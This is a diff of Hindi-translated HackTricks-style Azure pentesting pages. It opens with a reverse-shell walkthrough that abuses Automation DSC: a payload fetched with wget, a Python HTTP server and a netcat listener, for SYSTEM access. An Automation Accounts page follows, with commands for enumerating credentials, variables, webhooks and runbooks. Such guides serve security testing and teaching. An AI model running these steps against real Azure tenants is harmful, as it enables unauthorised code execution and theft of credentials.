- **Customization:** इन फ़ाइलों में वेरिएबल और पैरामीटर को उपयोगकर्ता के विशिष्ट वातावरण के अनुसार अनुकूलित किया जाना चाहिए, जिसमें संसाधन नाम, फ़ाइल पथ, और सर्वर/पेलोड पहचानकर्ता शामिल हैं।
|
||||
|
||||
#### Step 2 — Zip Configuration File
|
||||
|
||||
- `reverse_shell_config.ps1` को एक `.zip` फ़ाइल में संकुचित किया जाता है, जिससे इसे Azure Storage Account में स्थानांतरित करने के लिए तैयार किया जा सके।
|
||||
```powershell
|
||||
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
|
||||
```
|
||||
#### Step 3 — स्टोरेज संदर्भ सेट करें और अपलोड करें
|
||||
|
||||
- ज़िप किया गया कॉन्फ़िगरेशन फ़ाइल एक पूर्वनिर्धारित Azure स्टोरेज कंटेनर, azure-pentest, में Azure के Set-AzStorageBlobContent cmdlet का उपयोग करके अपलोड किया जाता है।
|
||||
```powershell
|
||||
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
|
||||
```
|
||||
#### Step 4 — Prep Kali Box
|
||||
|
||||
- Kali सर्वर GitHub रिपॉजिटरी से RevPS.ps1 पेलोड डाउनलोड करता है।
|
||||
```bash
|
||||
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
|
||||
```
|
||||
- स्क्रिप्ट को लक्षित Windows VM और रिवर्स शेल के लिए पोर्ट निर्दिष्ट करने के लिए संपादित किया गया है।
|
||||
|
||||
#### Step 5 — Publish Configuration File
|
||||
|
||||
- कॉन्फ़िगरेशन फ़ाइल को निष्पादित किया जाता है, जिसके परिणामस्वरूप रिवर्स-शेल स्क्रिप्ट को Windows VM पर निर्दिष्ट स्थान पर तैनात किया जाता है।
|
||||
|
||||
#### Step 6 — Host Payload and Setup Listener
|
||||
|
||||
- पायथन SimpleHTTPServer को पेलोड को होस्ट करने के लिए शुरू किया जाता है, साथ ही एक Netcat लिस्नर को आने वाले कनेक्शनों को कैप्चर करने के लिए।
|
||||
```bash
|
||||
sudo python -m SimpleHTTPServer 80
|
||||
sudo nc -nlvp 443
|
||||
```
|
||||
- निर्धारित कार्य पेलोड को निष्पादित करता है, SYSTEM-स्तरीय विशेषाधिकार प्राप्त करता है।
|
||||
|
||||
#### निष्कर्ष
|
||||
|
||||
इस प्रक्रिया का सफल निष्पादन आगे की क्रियाओं के लिए कई संभावनाएँ खोलता है, जैसे कि क्रेडेंशियल डंपिंग या हमले को कई VMs तक बढ़ाना। गाइड Azure Automation DSC के क्षेत्र में निरंतर सीखने और रचनात्मकता को प्रोत्साहित करता है।
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,227 @@
|
||||
# Az - Automation Accounts
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
|
||||
Azure Automation Accounts Microsoft Azure में क्लाउड-आधारित सेवाएँ हैं जो **कार्य स्वचालित** करने में मदद करती हैं जैसे संसाधन प्रबंधन, कॉन्फ़िगरेशन, और Azure और ऑन-प्रिमाइसेस वातावरण में अपडेट। ये **Runbooks** (स्वचालन के लिए स्क्रिप्ट जो निष्पादित होती हैं), **अनुसूचियाँ**, और **हाइब्रिड कार्यकर्ता समूह** प्रदान करती हैं ताकि स्वचालन **नौकरियों** को चलाया जा सके, जो कोड के रूप में बुनियादी ढाँचा (IaC) और प्रक्रिया स्वचालन को सक्षम बनाता है जिससे क्लाउड संसाधनों के प्रबंधन में दक्षता और स्थिरता में सुधार होता है।
|
||||
|
||||
### Settings
|
||||
|
||||
- **Credentials**: पासवर्ड केवल स्वचालन खाते के भीतर एक रनबुक में सुलभ है, इन्हें **उपयोगकर्ता नाम और पासवर्ड को सुरक्षित रूप से स्टोर करने** के लिए उपयोग किया जाता है।
|
||||
- **Variables**: **कॉन्फ़िगरेशन डेटा** को स्टोर करने के लिए उपयोग किया जाता है जिसे रनबुक में उपयोग किया जा सकता है। इसमें संवेदनशील जानकारी जैसे API कुंजी भी हो सकती है। यदि वेरिएबल **एन्क्रिप्टेड** है, तो यह केवल स्वचालन खाते के भीतर एक रनबुक में उपलब्ध है।
|
||||
- **Certificates**: **सर्टिफिकेट** को स्टोर करने के लिए उपयोग किया जाता है जिसे रनबुक में उपयोग किया जा सकता है।
|
||||
- **Connections**: बाहरी सेवाओं के लिए **कनेक्शन जानकारी** को स्टोर करने के लिए उपयोग किया जाता है। इसमें **संवेदनशील जानकारी** हो सकती है।
|
||||
- **Network Access**: इसे **सार्वजनिक** या **निजी** पर सेट किया जा सकता है।
|
||||
|
||||
## Runbooks & Jobs
|
||||
|
||||
Azure Automation में एक Runbook एक **स्क्रिप्ट है जो स्वचालित रूप से कार्य करती है** आपके क्लाउड वातावरण के भीतर। Runbooks को PowerShell, Python, या ग्राफिकल संपादकों में लिखा जा सकता है। ये प्रशासनिक कार्यों जैसे VM प्रबंधन, पैचिंग, या अनुपालन जांच को स्वचालित करने में मदद करते हैं।
|
||||
|
||||
**Runbooks** के भीतर **कोड** में **संवेदनशील जानकारी** (जैसे क्रेडेंशियल्स) हो सकती है।
|
||||
|
||||
जाएँ `Automation Accounts` --> `<Select Automation Account>` --> `Runbooks/Jobs/Hybrid worker groups/Watcher tasks/credentials/variables/certificates/connections`
|
||||
|
||||
एक **Job एक Runbook निष्पादन का उदाहरण है**। जब आप एक Runbook चलाते हैं, तो उस निष्पादन को ट्रैक करने के लिए एक Job बनाया जाता है। प्रत्येक नौकरी में शामिल हैं:
|
||||
|
||||
- **Status**: Queued, Running, Completed, Failed, Suspended.
|
||||
- **Output**: Runbook निष्पादन का परिणाम।
|
||||
- **Start and End Time**: जब नौकरी शुरू हुई और पूरी हुई।
|
||||
|
||||
एक नौकरी में **Runbook** निष्पादन का **आउटपुट** होता है। यदि आप **jobs** को **पढ़** सकते हैं, तो ऐसा करें क्योंकि वे **run** का **आउटपुट** **रखते** हैं (संभावित **संवेदनशील जानकारी**)।
|
||||
|
||||
### Schedules & Webhooks
|
||||
|
||||
Runbook निष्पादित करने के 3 मुख्य तरीके हैं:
|
||||
|
||||
- **Schedules**: इन्हें **विशिष्ट समय** या **अवधि** पर Runbooks को **प्रेरित** करने के लिए उपयोग किया जाता है।
|
||||
- **Webhooks**: ये **HTTP endpoints** हैं जिन्हें **बाहरी सेवाओं** से Runbooks को **प्रेरित** करने के लिए उपयोग किया जा सकता है। ध्यान दें कि वेबहुक URL **निर्माण के बाद दिखाई नहीं देता**।
|
||||
- **Manual Trigger**: आप Azure Portal और CLI से एक Runbook को **हाथ से प्रेरित** कर सकते हैं।
|
||||
|
||||
### Source Control
|
||||
|
||||
यह **Github, Azure Devops (Git) और Azure Devops (TFVC)** से Runbooks को आयात करने की अनुमति देता है। यह संभव है कि यह स्वचालन खाते के लिए रिपॉजिटरी के Runbooks को प्रकाशित करने के लिए संकेत दे और यह भी संभव है कि **रिपॉजिटरी से परिवर्तनों को Azure Automation खाते में समन्वयित करने** के लिए संकेत दे।
|
||||
|
||||
जब समन्वय सक्षम होता है, तो **Github रिपॉजिटरी में एक वेबहुक बनाया जाता है** ताकि हर बार एक पुश इवेंट होने पर समन्वय को प्रेरित किया जा सके। वेबहुक URL का उदाहरण: `https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=DRjQyFiOrUtz%2fw7o23XbDpOlTe1%2bUqPQm4pQH2WBfJg%3d`
|
||||
|
||||
ध्यान दें कि ये वेबहुक **Github रिपॉजिटरी से संबंधित रनबुक में सूचीबद्ध करते समय दिखाई नहीं देंगे**। यह भी ध्यान दें कि एक बार बनाए जाने के बाद **स्रोत नियंत्रण का रिपॉजिटरी URL बदलना संभव नहीं है**।
|
||||
|
||||
कॉन्फ़िगर किए गए स्रोत नियंत्रण के काम करने के लिए, **Azure Automation Account** को एक प्रबंधित पहचान (सिस्टम या उपयोगकर्ता) के साथ **`Contributor`** भूमिका होनी चाहिए। इसके अलावा, Automation Account को उपयोगकर्ता प्रबंधित पहचान असाइन करने के लिए, इसे केवल वेरिएबल **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** को **उपयोगकर्ता प्रबंधित पहचान क्लाइंट ID** पर सेट करके किया जा सकता है।
|
||||
|
||||
### Runtime Environments
|
||||
|
||||
जब एक Runbook बनाया जाता है, तो रनटाइम वातावरण का चयन करना संभव है। डिफ़ॉल्ट रूप से, निम्नलिखित रनटाइम वातावरण उपलब्ध हैं:
|
||||
|
||||
- **Powershell 5.1**
|
||||
- **Powershell 7.1**
|
||||
- **PowerShell 7.2**
|
||||
- **Python 3.10**
|
||||
- **Python 3.8**
|
||||
- **Python 2.7**
|
||||
|
||||
हालांकि, यह भी संभव है कि आप इनमें से किसी एक का उपयोग करके **अपना खुद का वातावरण** बनाएँ। Python के मामले में, यह संभव है कि आप उस वातावरण में उपयोग किए जाने वाले `.whl` पैकेज अपलोड करें। PowerShell के मामले में, यह संभव है कि आप रनटाइम में रखने के लिए मॉड्यूल के साथ `.zip` पैकेज अपलोड करें।
|
||||
|
||||
### Hybrid Worker
|
||||
|
||||
एक Runbook को **Azure के भीतर एक कंटेनर** में या **हाइब्रिड वर्कर** (गैर-Azure मशीन) में चलाया जा सकता है।\
|
||||
**Log Analytics Agent** को VM पर तैनात किया जाता है ताकि इसे एक हाइब्रिड कार्यकर्ता के रूप में पंजीकृत किया जा सके।\
|
||||
हाइब्रिड कार्यकर्ता नौकरियाँ **SYSTEM** के रूप में Windows पर और **nxautomation** खाते के रूप में Linux पर चलती हैं।\
|
||||
प्रत्येक हाइब्रिड कार्यकर्ता एक **हाइब्रिड कार्यकर्ता समूह** में पंजीकृत होता है।
|
||||
|
||||
इसलिए, यदि आप **Windows Hybrid Worker** में एक **Runbook** चलाने का विकल्प चुनते हैं, तो आप **System** के रूप में एक बाहरी मशीन के भीतर **मनमाने आदेश** निष्पादित करेंगे (अच्छी पिवट तकनीक)।
|
||||
|
||||
### State Configuration (SC)
|
||||
|
||||
>[!WARNING]
|
||||
> जैसा कि [the docs](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview) में संकेत दिया गया है, Azure Automation State Configuration 30 सितंबर, 2027 को समाप्त किया जाएगा और [Azure Machine Configuration](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview) द्वारा प्रतिस्थापित किया जाएगा।
|
||||
|
||||
Automation Accounts भी **State Configuration (SC)** का समर्थन करते हैं, जो एक विशेषता है जो आपकी VMs की **स्थिति** को **कॉन्फ़िगर** और **रखरखाव** करने में मदद करती है। यह **Windows** और **Linux** मशीनों पर DSC कॉन्फ़िगरेशन को **बनाने** और **लागू करने** की अनुमति देता है।
|
||||
|
||||
एक हमलावर के दृष्टिकोण से यह दिलचस्प था क्योंकि यह **सभी कॉन्फ़िगर की गई VMs में मनमाने PS कोड को निष्पादित करने** की अनुमति देता था जिससे इन VMs की प्रबंधित पहचानों के लिए विशेषाधिकार बढ़ाने की अनुमति मिलती थी, संभावित रूप से नए नेटवर्क में पिवटिंग... इसके अलावा, कॉन्फ़िगरेशन में **संवेदनशील जानकारी** हो सकती है।
|
||||
|
||||
## Enumeration
|
||||
```bash
|
||||
# List Automation Accounts
|
||||
az automation account list --output table
|
||||
|
||||
# Get Automation Account details
|
||||
# Check the network access in `privateEndpointConnections` and `publicNetworkAccess`
|
||||
# Check the managed identities in `identity`
|
||||
az automation account show --name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
|
||||
|
||||
# Get keys of automation account
|
||||
## These are used for the DSC
|
||||
az automation account list-keys --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
|
||||
|
||||
# Get schedules of automation account
|
||||
az automation schedule list --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
|
||||
|
||||
# Get connections of automation account
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/connections?api-version=2023-11-01"
|
||||
|
||||
# Get connection details
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/connections/<connection-name>?api-version=2023-11-01"
|
||||
|
||||
# Get credentials of automation account
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/credentials?api-version=2023-11-01"
|
||||
|
||||
# Get credential details
|
||||
## Note that you will only be able to access the password from inside a Runbook
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/credentials/<credential-name>?api-version=2023-11-01"
|
||||
|
||||
# Get certificates of automation account
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/certificates?api-version=2023-11-01"
|
||||
|
||||
# Get certificate details
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/certificates/<certificate-name>?api-version=2023-11-01"
|
||||
|
||||
# Get variables of automation account
|
||||
## It's possible to get the value of unencrypted variables but not the encrypted ones
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables?api-version=2023-11-01"
|
||||
|
||||
# Get variable details
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables/<variable-name>?api-version=2023-11-01"
|
||||
|
||||
# Get runbooks of an automation account
|
||||
az automation runbook list --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
|
||||
|
||||
# Get runbook details
|
||||
az automation runbook show --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME> --name <RUNBOOK-NAME>
|
||||
|
||||
# Get runbook content
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/runbooks/<runbook-name>/content?api-version=2023-11-01"
|
||||
|
||||
# Get jobs of an automation account
|
||||
az automation job list --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
|
||||
|
||||
# Get job details
|
||||
az automation job show --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME> --name <JOB-NAME>
|
||||
|
||||
# Get job output
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/output?api-version=2023-11-01"
|
||||
|
||||
# Get the Runbook content when the job was executed
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/runbookContent?api-version=2023-11-01"
|
||||
|
||||
# Get webhooks inside an automation account
|
||||
## It's possible to see to which runbook it belongs in the given data
|
||||
## For security reasons it's not possible to see the URL of the webhook after creating it, here is a URL example: https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=dOdnxk6z7ugAxiuyUMKgPuDMav2Jw5EJediMdiN4jLo%3d
|
||||
## Generating a webhook can be useful from a persistence perspective
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/webhooks?api-version=2018-06-30"
|
||||
|
||||
# Get the source control setting of an automation account (if any)
|
||||
## inside the output it's possible to see if the autoSync is enabled, if the publishRunbook is enabled and the repo URL
|
||||
aaz automation source-control list --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
|
||||
|
||||
# Get custom runtime environments
|
||||
## Check in defaultPackages for custom ones, by default Python envs won't have anything here and PS1 envs will have "az" and "azure cli"
|
||||
az automation runtime-environment list \
|
||||
--resource-group <res-group>> \
|
||||
--automation-account-name <account-name> \
|
||||
--query "[?!(starts_with(description, 'System-generated'))]"
|
||||
|
||||
# Get State Configurations (SC) of an automation account
|
||||
az automation dsc configuration list --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
|
||||
|
||||
# Get State Configuration details
|
||||
az automation dsc configuration show --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME> --name <DSC-CONFIG-NAME>
|
||||
|
||||
# Get State Configuration content
|
||||
az automation dsc configuration show-content --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME> --name <DSC-CONFIG-NAME>
|
||||
```
|
||||
|
||||
```powershell
|
||||
# Check user right for automation
|
||||
az extension add --upgrade -n automation
|
||||
az automation account list # if it doesn't return anything the user is not a part of an Automation group
|
||||
|
||||
# Gets Azure Automation accounts in a resource group
|
||||
Get-AzAutomationAccount
|
||||
|
||||
# List & get DSC configs
|
||||
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration
|
||||
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration | where {$_.name -match '<name>'} | Export-AzAutomationDscConfiguration -OutputFolder . -Debug
|
||||
## Automation Accounts named SecurityBaselineConfigurationWS... are there by default (not interesting)
|
||||
|
||||
# List & get Run books code
|
||||
Get-AzAutomationAccount | Get-AzAutomationRunbook
|
||||
Get-AzAutomationAccount | Get-AzAutomationRunbook | Export-AzAutomationRunbook -OutputFolder /tmp
|
||||
|
||||
# List credentials & variables & others
|
||||
Get-AzAutomationAccount | Get-AzAutomationCredential
|
||||
Get-AzAutomationAccount | Get-AzAutomationVariable
|
||||
Get-AzAutomationAccount | Get-AzAutomationConnection
|
||||
Get-AzAutomationAccount | Get-AzAutomationCertificate
|
||||
Get-AzAutomationAccount | Get-AzAutomationSchedule
|
||||
Get-AzAutomationAccount | Get-AzAutomationModule
|
||||
Get-AzAutomationAccount | Get-AzAutomationPython3Package
|
||||
## Exfiltrate credentials & variables and the other info loading them in a Runbook and printing them
|
||||
|
||||
# List hybrid workers
|
||||
Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME>
|
||||
```
|
||||
## विशेषाधिकार वृद्धि और पोस्ट एक्सप्लोइटेशन
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-automation-accounts-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## संदर्भ
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/automation/overview](https://learn.microsoft.com/en-us/azure/automation/overview)
|
||||
- [https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview)
|
||||
- [https://github.com/rootsecdev/Azure-Red-Team#runbook-automation](https://github.com/rootsecdev/Azure-Red-Team#runbook-automation)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -12,7 +12,7 @@ az-azure-network.md
|
||||
|
||||
## VMs बुनियादी जानकारी
|
||||
|
||||
Azure वर्चुअल मशीनें (VMs) लचीली, मांग पर **क्लाउड-आधारित सर्वर हैं जो आपको Windows या Linux ऑपरेटिंग सिस्टम चलाने की अनुमति देती हैं।** ये आपको भौतिक हार्डवेयर प्रबंधित किए बिना अनुप्रयोगों और कार्यभार को तैनात करने की अनुमति देती हैं। Azure VMs को विशिष्ट आवश्यकताओं को पूरा करने और वर्चुअल नेटवर्क, स्टोरेज और सुरक्षा उपकरणों जैसी Azure सेवाओं के साथ एकीकृत करने के लिए विभिन्न CPU, मेमोरी और स्टोरेज विकल्पों के साथ कॉन्फ़िगर किया जा सकता है।
|
||||
Azure वर्चुअल मशीनें (VMs) लचीली, मांग पर **क्लाउड-आधारित सर्वर हैं जो आपको Windows या Linux ऑपरेटिंग सिस्टम चलाने की अनुमति देती हैं।** ये आपको भौतिक हार्डवेयर प्रबंधित किए बिना अनुप्रयोगों और कार्यभार को तैनात करने की अनुमति देती हैं। Azure VMs को विभिन्न CPU, मेमोरी और स्टोरेज विकल्पों के साथ कॉन्फ़िगर किया जा सकता है ताकि विशिष्ट आवश्यकताओं को पूरा किया जा सके और Azure सेवाओं जैसे वर्चुअल नेटवर्क, स्टोरेज और सुरक्षा उपकरणों के साथ एकीकृत किया जा सके।
|
||||
|
||||
### सुरक्षा कॉन्फ़िगरेशन
|
||||
|
||||
@@ -21,16 +21,16 @@ Azure वर्चुअल मशीनें (VMs) लचीली, मां
|
||||
- **मानक सुरक्षा**: यह डिफ़ॉल्ट सुरक्षा प्रकार है जिसे किसी विशेष कॉन्फ़िगरेशन की आवश्यकता नहीं होती है।
|
||||
- **विश्वसनीय लॉन्च**: यह सुरक्षा प्रकार बूट किट और कर्नेल-स्तरीय मैलवेयर के खिलाफ सुरक्षा को बढ़ाता है, जिसमें सुरक्षित बूट और वर्चुअल ट्रस्टेड प्लेटफ़ॉर्म मॉड्यूल (vTPM) का उपयोग किया जाता है।
|
||||
- **गोपनीय VMs**: एक विश्वसनीय लॉन्च के शीर्ष पर, यह VM, हाइपरवाइज़र और होस्ट प्रबंधन के बीच हार्डवेयर-आधारित अलगाव प्रदान करता है, डिस्क एन्क्रिप्शन में सुधार करता है और [**अधिक**](https://learn.microsoft.com/en-us/azure/confidential-computing/confidential-vm-overview)**।**
|
||||
- **प्रमाणीकरण**: डिफ़ॉल्ट रूप से एक नया **SSH कुंजी उत्पन्न होती है**, हालाँकि एक सार्वजनिक कुंजी का उपयोग करना या पिछले कुंजी का उपयोग करना संभव है और डिफ़ॉल्ट उपयोगकर्ता नाम **azureuser** है। यह **पासवर्ड** का उपयोग करने के लिए कॉन्फ़िगर करना भी संभव है।
|
||||
- **प्रमाणीकरण**: डिफ़ॉल्ट रूप से एक नया **SSH कुंजी उत्पन्न किया जाता है**, हालांकि एक सार्वजनिक कुंजी का उपयोग करना या पिछले कुंजी का उपयोग करना संभव है और डिफ़ॉल्ट उपयोगकर्ता नाम **azureuser** है। एक **पासवर्ड** का उपयोग करने के लिए कॉन्फ़िगर करना भी संभव है।
|
||||
- **VM डिस्क एन्क्रिप्शन:** डिस्क डिफ़ॉल्ट रूप से एक प्लेटफ़ॉर्म प्रबंधित कुंजी का उपयोग करके आराम में एन्क्रिप्ट की जाती है।
|
||||
- **होस्ट पर एन्क्रिप्शन** सक्षम करना भी संभव है, जहाँ डेटा को स्टोरेज सेवा में भेजने से पहले होस्ट में एन्क्रिप्ट किया जाएगा, जिससे होस्ट और स्टोरेज सेवा के बीच एंड-टू-एंड एन्क्रिप्शन सुनिश्चित होता है ([**docs**](https://learn.microsoft.com/en-gb/azure/virtual-machines/disk-encryption#encryption-at-host---end-to-end-encryption-for-your-vm-data)).
|
||||
- **होस्ट पर एन्क्रिप्शन** सक्षम करना भी संभव है, जहां डेटा को स्टोरेज सेवा में भेजने से पहले होस्ट में एन्क्रिप्ट किया जाएगा, जिससे होस्ट और स्टोरेज सेवा के बीच एंड-टू-एंड एन्क्रिप्शन सुनिश्चित होता है ([**docs**](https://learn.microsoft.com/en-gb/azure/virtual-machines/disk-encryption#encryption-at-host---end-to-end-encryption-for-your-vm-data)).
|
||||
- **NIC नेटवर्क सुरक्षा समूह**:
|
||||
- **कोई नहीं**: मूल रूप से हर पोर्ट खोलता है
|
||||
- **बुनियादी**: HTTP (80), HTTPS (443), SSH (22), RDP (3389) इनबाउंड पोर्ट को आसानी से खोलने की अनुमति देता है
|
||||
- **उन्नत**: एक सुरक्षा समूह चुनें
|
||||
- **बैकअप**: **मानक** बैकअप (एक दिन में एक) और **उन्नत** (दिन में कई) सक्षम करना संभव है
|
||||
- **उन्नत**: एक सुरक्षा समूह का चयन करें
|
||||
- **बैकअप**: **मानक** बैकअप (एक दिन में एक) और **उन्नत** (प्रतिदिन कई) सक्षम करना संभव है
|
||||
- **पैच समन्वय विकल्प**: यह चयनित नीति के अनुसार VMs में स्वचालित रूप से पैच लागू करने की अनुमति देता है, जैसा कि [**docs**](https://learn.microsoft.com/en-us/azure/virtual-machines/automatic-vm-guest-patching) में वर्णित है।
|
||||
- **अलर्ट**: जब VM में कुछ होता है तो स्वचालित रूप से ईमेल या मोबाइल ऐप द्वारा अलर्ट प्राप्त करना संभव है। डिफ़ॉल्ट नियम:
|
||||
- **अलर्ट**: यह VM में कुछ होने पर ईमेल या मोबाइल ऐप द्वारा स्वचालित रूप से अलर्ट प्राप्त करना संभव बनाता है। डिफ़ॉल्ट नियम:
|
||||
- CPU प्रतिशत 80% से अधिक है
|
||||
- उपलब्ध मेमोरी बाइट्स 1GB से कम है
|
||||
- डेटा डिस्क IOPS उपभोग प्रतिशत 95% से अधिक है
|
||||
@@ -45,12 +45,12 @@ Azure वर्चुअल मशीनें (VMs) लचीली, मां
|
||||
|
||||
## डिस्क और स्नैपशॉट
|
||||
|
||||
- **2 या अधिक VMs से डिस्क को संलग्न करने के लिए सक्षम करना संभव है**
|
||||
- यह संभव है कि **2 या अधिक VMs से डिस्क को संलग्न करने के लिए सक्षम करें**
|
||||
- डिफ़ॉल्ट रूप से हर डिस्क **एन्क्रिप्टेड** होती है एक प्लेटफ़ॉर्म कुंजी के साथ।
|
||||
- स्नैपशॉट में भी यही
|
||||
- डिफ़ॉल्ट रूप से यह **सभी नेटवर्क से डिस्क साझा करने** की अनुमति देता है, लेकिन इसे केवल कुछ **निजी पहुँच** तक **सीमित** किया जा सकता है या **सार्वजनिक और निजी पहुँच** को पूरी तरह से **निष्क्रिय** किया जा सकता है।
|
||||
- डिफ़ॉल्ट रूप से यह संभव है कि **सभी नेटवर्क से डिस्क साझा करें**, लेकिन इसे केवल कुछ **निजी पहुंच** तक **सीमित** किया जा सकता है या **सार्वजनिक और निजी पहुंच** को पूरी तरह से **निष्क्रिय** किया जा सकता है।
|
||||
- स्नैपशॉट में भी यही
|
||||
- **डिस्क को निर्यात करने के लिए एक SAS URI** (अधिकतम 60 दिनों के लिए) **जनरेट करना संभव है**, जिसे प्रमाणीकरण की आवश्यकता हो या न हो, कॉन्फ़िगर किया जा सकता है
|
||||
- यह संभव है कि **डिस्क को निर्यात करने के लिए एक SAS URI** (अधिकतम 60 दिनों के लिए) **जनरेट करें**, जिसे प्रमाणीकरण की आवश्यकता हो या न हो
|
||||
- स्नैपशॉट में भी यही
|
||||
|
||||
{{#tabs}}
|
||||
@@ -79,7 +79,7 @@ Get-AzDisk -Name <DiskName> -ResourceGroupName <ResourceGroupName>
|
||||
एक **VM छवि** एक टेम्पलेट है जिसमें ऑपरेटिंग सिस्टम, एप्लिकेशन सेटिंग्स और फ़ाइल सिस्टम शामिल होते हैं जो **एक नया वर्चुअल मशीन (VM)** बनाने के लिए आवश्यक होते हैं। एक छवि और एक डिस्क स्नैपशॉट के बीच का अंतर यह है कि एक डिस्क स्नैपशॉट एक पढ़ने के लिए केवल, समय-निर्धारित प्रति होती है जो एकल प्रबंधित डिस्क की होती है, जिसका उपयोग मुख्य रूप से बैकअप या समस्या निवारण के लिए किया जाता है, जबकि एक छवि **कई डिस्क शामिल कर सकती है और इसे नए VMs बनाने के लिए टेम्पलेट के रूप में सेवा देने के लिए डिज़ाइन किया गया है**।\
|
||||
छवियों का प्रबंधन **Azure के चित्र अनुभाग** में या **Azure कंप्यूट गैलरी** के अंदर किया जा सकता है, जो **संस्करण** उत्पन्न करने और छवि को क्रॉस-टेनेंट साझा करने या यहां तक कि इसे सार्वजनिक बनाने की अनुमति देता है।
|
||||
|
||||
एक **पुनर्स्थापना बिंदु** VM कॉन्फ़िगरेशन और **समय-निर्धारित** एप्लिकेशन-संगत **स्नैपशॉट्स** को संग्रहीत करता है जो VM से जुड़े सभी प्रबंधित डिस्क के होते हैं। यह VM से संबंधित है और इसका उद्देश्य उस विशेष समय में उस VM को पुनर्स्थापित करने में सक्षम होना है।
|
||||
एक **पुनर्स्थापना बिंदु** VM कॉन्फ़िगरेशन और **समय-निर्धारित** एप्लिकेशन-संगत **स्नैपशॉट्स** को संग्रहीत करता है जो VM से जुड़े सभी प्रबंधित डिस्क के होते हैं। यह VM से संबंधित है और इसका उद्देश्य उस विशेष समय पर उस VM को पुनर्स्थापित करने में सक्षम होना है।
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="az cli"}}
|
||||
@@ -144,13 +144,13 @@ Get-AzRestorePointCollection -Name <CollectionName> -ResourceGroupName <Resource
|
||||
|
||||
## Azure Site Recovery
|
||||
|
||||
[**दस्तावेज़ों**](https://learn.microsoft.com/en-us/azure/site-recovery/site-recovery-overview) से: साइट रिकवरी यह सुनिश्चित करने में मदद करती है कि व्यावसायिक अनुप्रयोग और कार्यभार आउटेज के दौरान चलते रहें। साइट रिकवरी **कार्यभार को** प्राथमिक साइट से द्वितीयक स्थान पर चलने वाले भौतिक और आभासी मशीनों (VMs) पर **प्रतिलिपि** करती है। जब आपके प्राथमिक साइट पर आउटेज होता है, तो आप द्वितीयक स्थान पर स्विच करते हैं, और वहां से अनुप्रयोगों तक पहुँचते हैं। जब प्राथमिक स्थान फिर से चलने लगता है, तो आप वापस स्विच कर सकते हैं।
|
||||
